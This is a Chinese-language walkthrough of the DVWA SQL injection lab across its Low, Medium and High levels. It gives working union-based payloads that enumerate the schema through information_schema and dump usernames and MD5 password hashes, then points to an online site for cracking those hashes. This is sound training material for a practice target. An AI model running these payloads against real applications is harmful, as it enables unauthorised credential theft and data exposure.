部署靶场就不再赘述了,修改难度后自行开始闯关吧~
目录
LOW
- 看到这种框框首先判断是什么类型的注入,先给个 ’ 进行探测,发现单引号会报错,但是双引号不会报错,所以闭合是 ' 号
- 然后继续使用order by 探测列数,探测为2的时候显示正常,为3时就报错,所以确定列数是2列
- 然后再使用联表查询,爆出数据库名,得到dvwa的数据库名
1' union select database(),2#
- 再通过数据库名爆出表名,得到表guestbook和users;
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
- 得到表名后再爆出列名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa'#
- 最后直接爆出username和password的字段信息
1' union select group_concat(user),group_concat(password) from users#
Medium
- 看到这里感觉和pikachu的某一关很像,这里先抓包看看,感觉是个post请求
- 先尝试给一个 引号 ,看看是否会报错,看到有斜杆,应该是被转译了
- 尝试给了双引号,也会报错,通过之前的抓包分析,发现id选择可能都是数字,不是字符型的,或许不需要闭合
- 去掉引号,直接使用 order by探测,发现是可以探测出来的,列数是两列
- 直接使用 union select 查询数据库名
id=1 union select 1,database()&Submit=Submit
- 接下来的步骤和上面一样,爆表名,列名,最后得到用户信息
High
- 发现这关是带弹窗的,老办法,先使用1' 进行探测,发现报错
- 再使用 1" 进行探测,发现页面恢复正常
-
所以确认是 单引号闭合,先尝试直接order by 探测列数看是否可以探测
order by 2显示正常
order by 3显示报错
- 探测出列数为两列,所以直接使用 union select 查询数据库名
- 然后根据数据库名,爆出表名
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
- 根据数据库名和表名,爆出列名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa'#
- 最后联合重要的列名,和表名,爆出其中的数据
1' union select group_concat(user),group_concat(password) from users#
- 得到了用户名和密码,密码是md5进行加密的,可以通过 https://www.cmd5.com/ 解密即可